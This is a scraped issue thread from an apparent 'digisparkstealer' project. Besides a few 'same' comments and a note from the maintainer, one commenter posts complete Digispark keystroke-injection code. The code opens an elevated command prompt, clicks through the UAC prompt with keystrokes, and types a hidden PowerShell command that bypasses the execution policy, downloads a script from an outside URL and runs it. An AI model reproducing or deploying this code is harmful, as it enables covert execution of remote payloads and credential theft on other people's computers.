Coder Social home page Coder Social logo

Comments (4)

basgod avatar basgod commented on August 21, 2024

same

from digisparkstealer.

danile371 avatar danile371 commented on August 21, 2024

same

from digisparkstealer.

kovinevmv avatar kovinevmv commented on August 21, 2024

Unfortunately, i dont have this plate and cannot help u with debugging code. I haven't maintained this code for 5 years

from digisparkstealer.

danile371 avatar danile371 commented on August 21, 2024

#include <DigiKeyboard.h>

void typeKeyFast(char key){
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(0, key);
}

void startCMD(){
DigiKeyboard.delay(450);
DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(0, KEY_ESC);
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(300);
DigiKeyboard.println("cmd");
DigiKeyboard.delay(140);
DigiKeyboard.sendKeyStroke(0, KEY_LEFT_CTRL);
DigiKeyboard.delay(140);
DigiKeyboard.sendKeyStroke(0, KEY_LEFT_SHIFT);
DigiKeyboard.delay(10);
typeKeyFast(KEY_RETURN);
DigiKeyboard.delay(1500);
}

void bypassUAC(){
typeKeyFast(KEY_TAB);
typeKeyFast(KEY_TAB);
for (int i = 0; i < 70; i++){
typeKeyFast(KEY_BACKSPACE);
}
typeKeyFast(KEY_RETURN);
DigiKeyboard.delay(500);
}

void printCommand(){
DigiKeyboard.println("PowerShell.exe -windowstyle hidden Set-ExecutionPolicy Bypass -Force (new-object System.Net.WebClient).DownloadFile('https://codeload.github.com/danile371/legal/zip/refs/heads/main?token=BEH7SDLJ7F2ONAMVQ3O4KADGBQX7O', 'b.ps1'); Set-ExecutionPolicy Unrestricted; .\b.ps1");
typeKeyFast(KEY_RETURN);
}

void setup() {
DigiKeyboard.delay(5000); // Delay para dar tempo de conectar o dispositivo
startCMD();
bypassUAC();
printCommand();
}

void loop() {
int led2 = 13;
digitalWrite(led2, LOW);
delay(120);
digitalWrite(led2, HIGH);
delay(120);
}

from digisparkstealer.

Related Issues (11)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.